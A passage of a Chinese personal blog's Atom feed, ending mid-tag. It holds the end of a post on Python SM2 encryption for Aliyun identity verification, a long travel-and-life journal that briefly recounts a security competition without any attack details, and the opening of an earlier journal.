class="hljs-keyword">import</span> sm2sm2_crypt = sm2.CryptSM2(public_key=<span class="hljs-string">'04cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea65fb8709f2915105fdd5c81bae765774ca7a9392ad3b557b1d239741c2899c868'</span>, private_key=<span class="hljs-string">''</span>, mode=<span class="hljs-number">1</span>)idcard_encrypted = base64.b64encode(sm2_crypt.encrypt(idcard.encode(<span class="hljs-string">'utf-8'</span>))).decode(<span class="hljs-string">'utf-8'</span>)</code></pre><p>这样就可以正常加密了。正以为万事大吉，当我把加密的密文传给阿里云时，阿里云接口却报错了。令人无语的是，接口返回的信息只有一句 <code>501 系统错误</code>，除此之外啥也没有。起初我甚至没有怀疑是加密的问题，还以为是别的参数有问题或者阿里云接口挂了（毕竟最近阿里云频繁出事），直到我尝试明文传参成功后才意识到问题出在加密上。显然，阿里云的私钥解不开我传递给它的密文。</p><p>于是我又花了大量的时间弄清究竟是哪出了问题。根据现行 <a href="https://openstd.samr.gov.cn/bzgk/gb/newGbInfo?hcno=2127A9F19CB5D7F20D17D334ECA63EE5">GB/T 35276-2017</a> 7.2节的定义，我们不妨将 x 分量和 y 分量合称为 C1，密文称为 C2，杂凑值称为 C3，则加密数据由 C1、C2、C3三部分组成，且三者的排列顺序为 C1C3C2。同时在查阅了一些资料后，我还了解到在最初的国密标准中，加密数据的排列顺序为 C1C2C3，不过我没有找到相关的标准文件。正因为国密 SM2存在 C1C3C2和 C1C2C3两种加密模式，我使用的 Python 国密加密包提供了 <code>mode</code> 选项以便开发者根据需求设定加密模式。然而阿里云根本没告诉我它解密时使用的是哪一种，不过这个问题暂时不重要，因为经过尝试无论哪一种都问题依旧。</p><p>迫不得已我只好把目光看向了阿里云提供的 Java 例程，尝试跑了一下，比对了同一个字符串使用 Python 国密加密包和使用 Java 例程的加密结果，终于发现了问题所在。Java 例程产生的密文 Base64 串永远以字符 <code>B</code> 开头，而 Python 加密包产生的密文 Base64 串开头字符却一直在变，这显然不合理。通过观察 Java 例程加密结果的第一个字节，我惊奇地发现竟然永远是 <code>\x04</code> 这个熟悉的家伙。于是我手动给 Python 加密包的加密结果加上了这个字节，然后尝试了一下 C1C3C2和 C1C2C3两种加密模式，确认是 C1C2C3 模式（非现行标准），总算是对接成功了。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> base64<span class="hljs-keyword">from</span> gmssl <span class="hljs-keyword">import</span> sm2sm2_crypt = sm2.CryptSM2(public_key=<span class="hljs-string">'04cd77e007bdc86eeaf9a479ba7a2c22bc0a517ccb3a6975c3f94b4ac93347dea65fb8709f2915105fdd5c81bae765774ca7a9392ad3b557b1d239741c2899c868'</span>, private_key=<span class="hljs-string">''</span>, mode=<span class="hljs-number">0</span>)idcard_encrypted = base64.b64encode(<span class="hljs-string">b'\x04'</span> + sm2_crypt.encrypt(idcard.encode(<span class="hljs-string">'utf-8'</span>))).decode(<span class="hljs-string">'utf-8'</span>)</code></pre><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>这次开发可以说是一波三折，一部分原因是对国密算法不熟悉，互联网上相关的资料（尤其是 Python 下的进行国密加密）也较少，另一部分原因则是阿里云存在如下的问题有待改进：</p><ul><li>文档过时内容未及时更新</li><li>接口不返回详细错误信息，导致排查困难</li><li>参数加密约定不清晰、不详细</li><li>使用非现行标准（C1C2C3）且不加说明</li></ul><p>总之希望这篇文章能够帮助到后来者，也希望阿里云能够改进文档和接口，提升产品的易用性。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近需要给一个基于 Django 的项目开发实名认证功能，除了常规的核验姓名和身份证号是否匹配，还需要对用户进行活体检测。看了一圈最后选定了阿里云的&lt;a href=&quot;https://help.aliyun.com/zh/id-verification/product-overview/financial-level-real-person-certification&quot;&gt;金融级实人认证&lt;/a&gt;产品，可以直接让用户使用支付宝APP完成活体检测的认证过程，开发工作量相对较小，对用户而言也比较方便（毕竟这年头谁手机上还没个支付宝呢）。&lt;/p&gt;
&lt;p&gt;开通金融级实人认证后，我开始照着阿里云提供的&lt;a href=&quot;https://help.aliyun.com/zh/id-verification/financial-grade-id-verification/integration-by-using-the-sdk&quot;&gt;开发参考文档&lt;/a&gt;尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档，开发花费的时间比我想象中要多😇，在此也记录一下我踩过的坑，希望能够帮助到后来者。&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.hans362.cn/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="阿里云" scheme="https://blog.hans362.cn/tags/%E9%98%BF%E9%87%8C%E4%BA%91/"/>
    
    <category term="Web" scheme="https://blog.hans362.cn/tags/Web/"/>
    
    <category term="Python" scheme="https://blog.hans362.cn/tags/Python/"/>
    
  </entry>
  
  <entry>
    <title>周记#30</title>
    <link href="https://blog.hans362.cn/post/weekly-30/"/>
    <id>https://blog.hans362.cn/post/weekly-30/</id>
    <published>2023-11-12T08:59:53.000Z</published>
    <updated>2025-12-31T14:36:17.830Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/5874161ac7d3d365b62d81cd79cada6c.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/5874161ac7d3d365b62d81cd79cada6c.png?width=1920" srcset="/loading.gif" alt=""></p><p>让我看看…嗯，很好，<s>不出意外的话大概是出意外了</s>，我竟然已经五个月了没更新博客了，赶快把存货发出来除除草。</p><p>所以这是一篇从暑日至寒冬跨越两季的超长流水账，猜猜这次会有多长呢？🤪</p><span id="more"></span><h2 id="暑假"><a class="markdownIt-Anchor" href="#暑假"></a> 暑假</h2><p>7月中旬夏季学期结束，暑假生活正式开始~</p><h3 id="到处跑跑跑"><a class="markdownIt-Anchor" href="#到处跑跑跑"></a> 到处跑跑跑</h3><p>原以为暑假会烂在家里当死宅，结果意外地非常充实，两个月旅游+出差+比赛去了不少地方，大概是出门最多的一次。</p><p>（以下多图预警）</p><h4 id="长兴岛"><a class="markdownIt-Anchor" href="#长兴岛"></a> 长兴岛</h4><p>去年夏天去横沙岛玩了一趟，这次去的是长兴岛，都是夹在上海市区和崇明岛之间的小岛，当然这次是去出差<s>坐牢</s>的。</p><p>某天傍晚提前下班去江边走了走，吹着凉爽的江风，看到了非常美的火烧云。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/801d096d267d74d54ecfbf900c06b8d5.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/801d096d267d74d54ecfbf900c06b8d5.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/12/f39f532e6694bac485dcdcdbddde2cc3.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/f39f532e6694bac485dcdcdbddde2cc3.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/12/eccf74eeebbc07e41795e003a898713e.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/eccf74eeebbc07e41795e003a898713e.jpg?width=1920" srcset="/loading.gif" alt=""></p><h4 id="潮汕"><a class="markdownIt-Anchor" href="#潮汕"></a> 潮汕</h4><p>之前一直想去广东玩来着，这次终于去成了🥳！第一站就先选在了潮州和汕头，正好离福建也比较近，玩好顺便回了趟我爸老家，其它地方就等以后再来吧。</p><p>坐飞机落地揭阳，然后打了个车去汕头。沿着海边走的景色真不错，晚上的小公园（这是个景点的名字哦）非常热闹繁华。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/e66656440e59f96ec93f543eaabdea10.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/e66656440e59f96ec93f543eaabdea10.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/10/a6ab43bfc89819823d18636058dc83e4.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/a6ab43bfc89819823d18636058dc83e4.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>第一天晚上吃到了牛肉火锅，新鲜的牛肉烫到刚熟的程度，蘸着沙茶酱吃，非常鲜嫩，打开了新世界的大门（过于好吃所以此处没有照片hhh）。第二天早上吃到了心心念念的肠粉，随便找的路边小店都完爆外地的肠粉，皮很薄很弹，料也满满的，太好吃了以至于我连吃了几天。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/c43a366d5718e58776574728d41054e3.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/c43a366d5718e58776574728d41054e3.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>汕头玩得差不多就去了南澳岛，由于是旅游旺季，进岛的高速堵得一塌糊涂，足足花了快4个小时才上岛。在岛上环岛挑了几个点玩了一圈。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/4db17dfbb46910fb63c8b4fbe4f36c97.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/4db17dfbb46910fb63c8b4fbe4f36c97.png?width=1920" srcset="/loading.gif" alt=""></p><p>（造型独特的灯塔）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/d7174ffe65aa7f83fb9c0f330011f88b.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/d7174ffe65aa7f83fb9c0f330011f88b.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/10/e22bf713694dd29e3f4c9457829c9d48.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/e22bf713694dd29e3f4c9457829c9d48.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（北回归线广场，在海滩上光脚踩水，是属于夏天的保留节目）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/9045a3fe627ef661ef1508daf9e10bd6.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/9045a3fe627ef661ef1508daf9e10bd6.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（金银岛）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/10/fcdc71b8dbc502ac882b9fadb05f1c19.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/10/fcdc71b8dbc502ac882b9fadb05f1c19.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（后花园村，从山上看海的视角很独特，夕阳也很美）</p><p>至于吃的感觉岛上总体不太行，海鲜可以尝尝，但容易被宰。</p><p>离开南澳打车前往潮州。主要去了牌坊街，还有非常有特色的广济桥，桥的中间是用几艘船连在一起的，傍晚到点了就会把船移走，第二天再把船移回来，晚上会有炫酷的灯光秀表演。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/ce976feff51a375bb7d0515b65504c4c.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/ce976feff51a375bb7d0515b65504c4c.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>在潮州吃到了烧鹅、卤鹅，吃了一次早茶，好吃的真是太多了。潮州这边的肠粉会放花生酱，个人不是很习惯，还是更偏爱汕头的做法。</p><p>离开广东后去了我爸老家，上一次回去好像还是初中的时候。奶奶家不知道啥时候养了一只猫，超级可爱，rua起来很舒服😻。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/18ff156a7ebe31fbcf10a5cc31699a04.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/18ff156a7ebe31fbcf10a5cc31699a04.png?width=1920" srcset="/loading.gif" alt=""></p><h4 id="福州"><a class="markdownIt-Anchor" href="#福州"></a> 福州</h4><p>福州之前去过一次，这次去主要是去出差的，干完活顺便故地重游浅玩了一下。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/d5194098df223d7c09d112b73e1ab77a.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/d5194098df223d7c09d112b73e1ab77a.png?width=1920" srcset="/loading.gif" alt=""></p><p>（南后街）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/260bec7a532bb3efc6dc698d7825b016.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/260bec7a532bb3efc6dc698d7825b016.png?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/11/562107d9aa9cfd3d11f7943b44c860e9.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/562107d9aa9cfd3d11f7943b44c860e9.png?width=1920" srcset="/loading.gif" alt=""></p><p>（烟台山）</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/24700aa28b609349f432ab7c0210a6e9.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/24700aa28b609349f432ab7c0210a6e9.png?width=1920" srcset="/loading.gif" alt=""></p><p>（闽江）</p><h4 id="成都"><a class="markdownIt-Anchor" href="#成都"></a> 成都</h4><p>第一次来成都，主要是来打比赛的，行程比较匆忙没来得及玩。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/c1e56f965dede2a1d1bc2cefaf2a5405.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/c1e56f965dede2a1d1bc2cefaf2a5405.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>出发当天上海有强对流，幸好买的中午的机票，赶在强对流到来前半小时顺利起飞了。来成都怎么能不吃火锅呢，于是到达成都当晚就鼓起勇气和队友出去吃了顿四川火锅。考虑到第二天还要比赛谨慎地点了鸳鸯锅，然后果不其然被辣锅辣翻了🥵，吃到最后全在吃另一边的番茄锅🤣。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/90eca46fc8d0eb48c6ac486d1b6f6f7a.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/90eca46fc8d0eb48c6ac486d1b6f6f7a.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>第二天白天在比赛，玩靶场渗透+工控，四个预备队的出来给 0ops 丢脸了。签到题打进去了结果找不到 flag 放在哪，心态爆炸，最后在根目录下用 <code>grep</code> 强行搜出来的，卡了很久。后面靠 Chrome XSS 钓鱼 RCE 想让员工电脑上线 CS 从而打进核心生产网做工控题，结果咋弄都不成功，而自己电脑上的虚拟机却可以上线，最后发现是用作跳板的机器 Windows 防火墙没关，浪费了至少一个小时😡。事实证明永远别相信 Windows Server 2016 设置里的防火墙，关了根本没用，去控制面板里看竟然还是开着的。等好不容易把员工电脑搞上线已经离比赛结束只剩两个小时了，工控题靠队友匆匆忙忙地做了几道，Web 这边也还剩很多没挖。最后拿了个“人才奖”，有奖就是胜利😂。</p><p>晚上恰了顿寿喜烧自助，吃肉吃爽了。在商场里逛了逛，买了点特产，出去的时候下起了暴雨还没带伞。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/db090b2645a5272fd99d368f41928ba8.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/db090b2645a5272fd99d368f41928ba8.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>第三天早上睡个懒觉收拾一下就去机场了，因为回程机票买的是 MU9198，需要去天府机场。坐地铁坐了将近一个小时，都快到边上的简阳市了。天府机场真是到哪都只要一小时，到成都也是（笑）。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/4e4cc0918cba44a0e0460c32ee503ee7.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/4e4cc0918cba44a0e0460c32ee503ee7.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>坐上了 C919 大飞机，看这架的编号是 B-919A 貌似还真是首架？飞行过程中有点颠簸，不过餐食很好吃😋，还有定制的小蛋糕。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/11/82df09949a334d7308fb76c1a5e08633.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/82df09949a334d7308fb76c1a5e08633.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/11/34260bb30d5a96cf42fa17cfb307ee0e.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/34260bb30d5a96cf42fa17cfb307ee0e.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/11/203d0ecf07e4d6026e78229478b1b691.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/203d0ecf07e4d6026e78229478b1b691.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/11/3e9a13968ac672cfca30ba459e69d574.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/11/3e9a13968ac672cfca30ba459e69d574.jpg?width=1920" srcset="/loading.gif" alt=""></p><h3 id="换新手机"><a class="markdownIt-Anchor" href="#换新手机"></a> 换新手机</h3><p>手头原先这部 Redmi K20 Pro 是刚上高中时买的，陪伴了我四年多了，依旧是迄今为止外观最对我胃口的一部手机。直屏+弹出式前置摄像头，没有刘海也没有挖孔，简直是堪称完美的全面屏设计，是到了2022年还会有人看到这块屏幕惊讶地问我“你的手机是啥牌子”的程度。很可惜已经很久没看到这样的设计了，所以我一直舍不得换，感觉还能再战三年。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/0ec789ea0bd0e1ce4abf015b53751e52.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/0ec789ea0bd0e1ce4abf015b53751e52.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>大概从去年开始明显感觉到电池健康度下降得很厉害，续航只能维持半天左右，打算去换电池却发现原装电池已经停产缺货了，于是靠充电宝续命又用了大半年。结果到我出差的前两天，这电池算是彻底暴毙了，充满电的情况下啥都不干十分钟电量就归零了。考虑到急着用，并且骁龙855在2023年的这堆国产毒瘤APP面前确实有点吃不消，卡顿得比较厉害，那就干脆换新手机吧。</p><p>起初还想试试别的牌子的手机，但想到自己对米家生态链的重度依赖以及有解锁刷机的需求，最终还是决定延续小米/红米。因为小赚了点钱，索性就咬咬牙买了 Xiaomi 13 Pro，希望可以用得久一点。直接去小米之家￥5399拿下，还送了个礼盒（笔记本+钢笔+蓝牙耳机）和一年的 FRIEND 会员（每个月有免费贴膜，但小米之家店员表示这个膜质量远不如出厂自带的那张，不建议在原厂膜没坏的情况下换）。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/b9709727db55b76e34b95d9276f78f8f.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/b9709727db55b76e34b95d9276f78f8f.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/12/b505e3f4dbcae6dd26cd68b116829ef8.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/b505e3f4dbcae6dd26cd68b116829ef8.png?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/12/78a7a51b73ac172504825baedaf51f11.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/78a7a51b73ac172504825baedaf51f11.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>颜色无脑选了白色，确实很耐看，后盖也不会变成指纹收集器。外观的话对我而言肯定是没有原来好看了，挖孔屏+曲面，但也还算可以接受。全功能 NFC、红外遥控、无线充电等功能该有的都有，没有耳机孔对于我来说问题不大。比较喜欢的是骁龙8 Gen 2的性能表现，玩某二字游戏无压力，而且发热量不算大。还有就是这徕卡相机拍照真的没话说，不像原来的 K20 Pro 拍出来的照片总感觉被算法调校得鲜艳过头，13 Pro 给我的感受就是很真实，很舒服，本文带水印的照片都是使用13 Pro 拍摄的哦。</p><p>要说不好的地方大概就是13 Pro 接近230克的重量，初次上手感觉有点沉，而且主要重量集中在顶部的镜头模组，拿在手里有种头重脚轻的感觉。还有电池容量感觉还是偏小，日常使用是能够注意到电量一点一点在掉的，不过目前还是可以支撑一整天的中强度使用，后续续航衰减的情况有待观察。</p><h3 id="炸厨房计划第二弹"><a class="markdownIt-Anchor" href="#炸厨房计划第二弹"></a> 炸厨房计划·第二弹</h3><p>嘿嘿这个假期午饭又基本是自己在家瞎糊弄的，回看发现全是各种面/炒饭/焖饭😂。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/625eebf55d8b761930fd542b54751597.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/625eebf55d8b761930fd542b54751597.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>至于味道嘛，自己烧的肯定好吃啦😋。</p><h2 id="秋季学期"><a class="markdownIt-Anchor" href="#秋季学期"></a> 秋季学期</h2><blockquote><p>啊 / 雨还要下多久呢 / 风扇应该收了 / 夏天怎么结束了</p></blockquote><p>九月中旬回到了学校，开启了全新的学期。时间真是太快了，转眼就成老东西了啊。</p><p>以往我校电院的大二上是地狱模式，大量的硬核课程都堆在这学期，好在我们这届有所改观，已经过去的32.5学分的大一下是最痛苦的，大二上只剩下二十几学分的课程，比上学期轻松了一些。</p><h3 id="中秋节"><a class="markdownIt-Anchor" href="#中秋节"></a> 中秋节</h3><p>从开学第一天就在盼着放假🤣。按惯例学校每年中秋都会发月饼盲盒，今年的包装用的竟然是铁罐子，还挺好看的，颇有买椟还珠的感觉。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/20c5b433a51fea70796329af032ca230.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/20c5b433a51fea70796329af032ca230.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>至于味道么，我和家里人的一致评价就是每盒必有的绿色的青柠芝士月饼是最难吃的，皮的口感很怪，中间的流心也酸不溜秋的，别的拿铁口味和蔓越莓口味都还不错。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/3cf6d456d9baaa5e7747c22768566d51.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/3cf6d456d9baaa5e7747c22768566d51.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>中秋前一天学校还在电草办了一场中秋晚会，超热闹，去看了会儿表演以及给抽奖当分母了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/11/12/a949131efce5eee8d7b91b0f386df2d7.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/a949131efce5eee8d7b91b0f386df2d7.jpg?width=1920" srcset="/loading.gif" alt=""><br><img src="https://hans362-img.oss.0vv0.top/2023/11/12/f13b2ad9892872fca7168ef97a8352d0.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/11/12/f13b2ad9892872fca7168ef97a8352d0.jpg?width=1920" srcset="/loading.gif" alt=""></p><h3 id="转专业"><a class="markdownIt-Anchor" href="#转专业"></a> 转专业</h3><p>放完假回来就看到教务处发布了工科平台内转专业的通知。因为深知我校转专业的难度，尤其是电院CS/SE/IS据说只收专业前几名，最初就对此不抱啥希望，大一一年也完全没卷。回过头来一看成绩虽然平平无奇，但也满足了转专业的前置条件，考虑到我对电子系这边的课程不太感兴趣，这学期的模电学得也非常痛苦，于是就决定抓住这个机会试一试。</p><p>由于自己学积分一般，大一一年也只有和IS强相关的经历，并且确实对安全方向比较感兴趣，所以就填了转入信息安全专业的申请表。</p><p>等了一周终于收到了入围面试的通知，开始着手准备面试，做了两页PPT把一些比较亮眼的课程成绩还有和信安相关的经历罗列了一下，自己对着PPT讲了两遍。信安的面试总体感觉比较水，先是对着PPT进行自我介绍，然后是提问环节，完全没涉及任何专业性的问题，最离谱的一个问题是“你参加过哪些志愿活动”，差点给我干沉默了。总之面试结束后心里很没底，不知道是面试本来就这么水还是走个形式把我刷掉。</p><p>然后就是焦急地等待结果，终于在十月底收到了预录取通知，只要这学期继续修读完原专业课程（除中期退课的一门）并且没有挂科就可以顺利转入信息安全专业🥳。就是下个学期以及大三上要补修很多课程，又要开启地狱模式了。</p><p>总的来说感觉转专业好像也没有想象的那么难，也并非一定要有特别突出的学积分。抓住每一个可能的机会，多去尝试一下，说不定就有意外的收获。</p><p>好了，这篇周记就到这里咯，下次见~</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;https://hans362-img.oss.0vv0.top/2023/11/10/5874161ac7d3d365b62d81cd79cada6c.png?width=1920&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;让我看看…嗯，很好，&lt;s&gt;不出意外的话大概是出意外了&lt;/s&gt;，我竟然已经五个月了没更新博客了，赶快把存货发出来除除草。&lt;/p&gt;
&lt;p&gt;所以这是一篇从暑日至寒冬跨越两季的超长流水账，猜猜这次会有多长呢？🤪&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>周记#29</title>
    <link href="https://blog.hans362.cn/post/weekly-29/"/>
    <id>https://blog.hans362.cn/post/weekly-29/</id>
    <published>2023-06-23T08:23:41.000Z</published>
    <updated>2025-12-31T14:36:17.829Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>咕咕咕了半年零三个月，这个系列终于有了后续（你还知道写啊）。</p><p>所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账，我也不知道会有多长，各位慢慢看🤪。</p><span id="more"></span><h2 id="寒假"><a class="markdownIt-Anchor" href="#寒假"></a> 寒假</h2><h3 id="玩玩玩"><a class="markdownIt-Anchor" href="#玩玩玩"></a> 玩玩玩</h3><p>期末周的时候我就阳了，放寒假的时候已经完全好了。不过家里竟然还有人一直没阳，所以寒假就老老实实在上海过年了。年初六的时候跑豫园那边去看了灯会，不过是大白天版，但人还是很多。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/21/ffc2ff290decfad3407290bd6c16d4f6.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/ffc2ff290decfad3407290bd6c16d4f6.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/21/1dcc98387502496eb54aecea5a82f80c.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/1dcc98387502496eb54aecea5a82f80c.png?width=1920" srcset="/loading.gif" alt=""></p><p>然后又去了上海和江苏交界地带的荒郊野岭转了转，这样就算低配版的出省旅游了（笑）。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/21/5c1bbb68efd6434d874e3666b00d2508.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/5c1bbb68efd6434d874e3666b00d2508.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/21/ca61f92018e0f6c66f0e80401953dcac.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/ca61f92018e0f6c66f0e80401953dcac.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="炸厨房计划"><a class="markdownIt-Anchor" href="#炸厨房计划"></a> 炸厨房计划</h3><p>之前在<a href="https://blog.hans362.cn/post/2022-annual-report/">年终总结</a>里提到要提升一下厨艺，所以寒假的午饭就靠自己烧了，意外地没有炸厨房，大成功🤣（</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/21/522c22b76663e6661204f8994ad32dbc.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/522c22b76663e6661204f8994ad32dbc.png?width=1920" srcset="/loading.gif" alt=""></p><p>（忽略那个裂口水饺）</p><p>寒假大部分时间都在家摸鱼划水当肥宅，短短二十八天一转眼就过去了，不愧是全国高校倒数第二短的寒假，感觉啥也没干就开学了。</p><h2 id="春季学期"><a class="markdownIt-Anchor" href="#春季学期"></a> 春季学期</h2><p>总算在这个春天迎来了防疫结束后的第一个正常的学期，生活正在一点点恢复疫情前的状态，感觉很不错。</p><h3 id="学学学"><a class="markdownIt-Anchor" href="#学学学"></a> 学学学</h3><p>进入大一下，课程压力一下子就高了不少。虽说仅仅比上学期的28.5学分多了4学分的课程，但这学期基本都是非常硬核的课，比如高数、大物、电路理论、数电、数据结构等，还有一些学分和工作量完全不匹配的课程，整体比上学期忙多了。</p><p><img 